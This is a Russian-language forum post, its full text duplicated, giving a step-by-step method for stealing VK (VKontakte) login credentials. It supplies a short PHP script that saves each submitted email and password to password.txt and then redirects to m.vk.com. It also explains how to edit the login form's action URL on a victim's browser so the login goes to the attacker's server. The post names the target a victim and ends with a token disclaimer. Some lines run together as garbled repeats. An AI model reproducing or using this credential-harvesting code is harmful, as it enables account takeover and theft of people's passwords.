- Регистрация
- 8 Янв 2019
- Сообщения
- 527
- Реакции
- 71
- Баллы
- 118
[SIZE=20pt]Поднимаем свой сервер! [/SIZE]
[SIZE=14pt]Apache и Nginx настраивать нужно, поэтому вы можете немного запариться и сделать все, ставим:[/SIZE]
[SIZE=14pt]apt -y install php apache2 nginx[/SIZE]
[SIZE=14pt]Я же пойду по простому пути: php -S ip:8080[/SIZE]
[SIZE=14pt]ip - пишем локальный или глобальный адрес если мы выполняем на серверах все, пишем адрес сервера - php -S 8.8.8.8:8080[/SIZE]
[SIZE=14pt]Создаём файл vk.php и директорию[/SIZE]
[SIZE=14pt]mkdir vk_hack;cd vk_hack[/SIZE]
[SIZE=14pt]nano vk.php | [/SIZE][SIZE=14pt]вставляем[/SIZE] [SIZE=14pt]в[/SIZE] [SIZE=14pt]файл[/SIZE][SIZE=14pt] vk.php [/SIZE][SIZE=14pt]код[/SIZE][SIZE=14pt]:[/SIZE]
[SIZE=14pt]<?php[/SIZE]
[SIZE=14pt]file_put_contents("password.txt", "VK" . $_POST['email'] . " Pass: " . $_POST['pass'] . "\n", FILE_APPEND);[/SIZE]
[SIZE=14pt]header('Location: https://m.vk.com');[/SIZE]
[SIZE=14pt]exit();[/SIZE]
[SIZE=20pt]Заключительный этап[/SIZE]
[SIZE=14pt]php -S ip:666[/SIZE][SIZE=14pt] | Запускаем сервер! Заходим на сайт m.vk.com, жмём F12 и открывается инспектор, ищем параметр POST:[/SIZE]
[SIZE=14pt]Нас[/SIZE] [SIZE=14pt]интересует[/SIZE] [SIZE=14pt]строка[/SIZE]:
[SIZE=14pt]<form method="POST" action="https://login.vk.com/?act=login&_origin=https://m.vk.com&ip_h=f97a0bda5e3a6eac62&lg_h=2956e404aa19a76137&role=pda&utf8=1" novalidate=https://login.vk.com/?act=login&...19a76137&role=pda&utf8=1" novalidate=[/SIZE]"">
[SIZE=14pt]Стираем ссылку - [/SIZE]
[SIZE=14pt]https://login.vk.com/?act=login&_origin=https://m.vk.com&ip_h=f973aac62&lg_h=29a761&role=pda&utf8=1https://login.vk.com/?act=login&...aac62&lg_h=29a761&role=pda&utf8=1[/SIZE]
[SIZE=14pt]Заменяем ее на свою:[/SIZE]
[SIZE=14pt]http://{ваш IP}:666/vk.php, закрываем инспектор, если обновить страницу все вернется на свои места, ссылку снова придёться менять![/SIZE]
[SIZE=14pt]Далее ваша жертва, вводит данные на домене m.vk.com где стоит SSL и переходит на нормальный m.vk.com, а у вас данные будут в файле password.txtас данные будут в файле password.txt [/SIZE]
[SIZE=16pt]Вся информация предоставлена лишь для ознакомления и не призывает к действиям. Автор не несет ответственности за использование этой информации.[/SIZE]
[SIZE=14pt]Apache и Nginx настраивать нужно, поэтому вы можете немного запариться и сделать все, ставим:[/SIZE]
[SIZE=14pt]apt -y install php apache2 nginx[/SIZE]
[SIZE=14pt]Я же пойду по простому пути: php -S ip:8080[/SIZE]
[SIZE=14pt]ip - пишем локальный или глобальный адрес если мы выполняем на серверах все, пишем адрес сервера - php -S 8.8.8.8:8080[/SIZE]
[SIZE=14pt]Создаём файл vk.php и директорию[/SIZE]
[SIZE=14pt]mkdir vk_hack;cd vk_hack[/SIZE]
[SIZE=14pt]nano vk.php | [/SIZE][SIZE=14pt]вставляем[/SIZE] [SIZE=14pt]в[/SIZE] [SIZE=14pt]файл[/SIZE][SIZE=14pt] vk.php [/SIZE][SIZE=14pt]код[/SIZE][SIZE=14pt]:[/SIZE]
[SIZE=14pt]<?php[/SIZE]
[SIZE=14pt]file_put_contents("password.txt", "VK" . $_POST['email'] . " Pass: " . $_POST['pass'] . "\n", FILE_APPEND);[/SIZE]
[SIZE=14pt]header('Location: https://m.vk.com');[/SIZE]
[SIZE=14pt]exit();[/SIZE]
[SIZE=20pt]Заключительный этап[/SIZE]
[SIZE=14pt]php -S ip:666[/SIZE][SIZE=14pt] | Запускаем сервер! Заходим на сайт m.vk.com, жмём F12 и открывается инспектор, ищем параметр POST:[/SIZE]
[SIZE=14pt]Нас[/SIZE] [SIZE=14pt]интересует[/SIZE] [SIZE=14pt]строка[/SIZE]:
[SIZE=14pt]<form method="POST" action="https://login.vk.com/?act=login&_origin=https://m.vk.com&ip_h=f97a0bda5e3a6eac62&lg_h=2956e404aa19a76137&role=pda&utf8=1" novalidate=https://login.vk.com/?act=login&...19a76137&role=pda&utf8=1" novalidate=[/SIZE]"">
[SIZE=14pt]Стираем ссылку - [/SIZE]
[SIZE=14pt]https://login.vk.com/?act=login&_origin=https://m.vk.com&ip_h=f973aac62&lg_h=29a761&role=pda&utf8=1https://login.vk.com/?act=login&...aac62&lg_h=29a761&role=pda&utf8=1[/SIZE]
[SIZE=14pt]Заменяем ее на свою:[/SIZE]
[SIZE=14pt]http://{ваш IP}:666/vk.php, закрываем инспектор, если обновить страницу все вернется на свои места, ссылку снова придёться менять![/SIZE]
[SIZE=14pt]Далее ваша жертва, вводит данные на домене m.vk.com где стоит SSL и переходит на нормальный m.vk.com, а у вас данные будут в файле password.txtас данные будут в файле password.txt [/SIZE]
[SIZE=16pt]Вся информация предоставлена лишь для ознакомления и не призывает к действиям. Автор не несет ответственности за использование этой информации.[/SIZE]

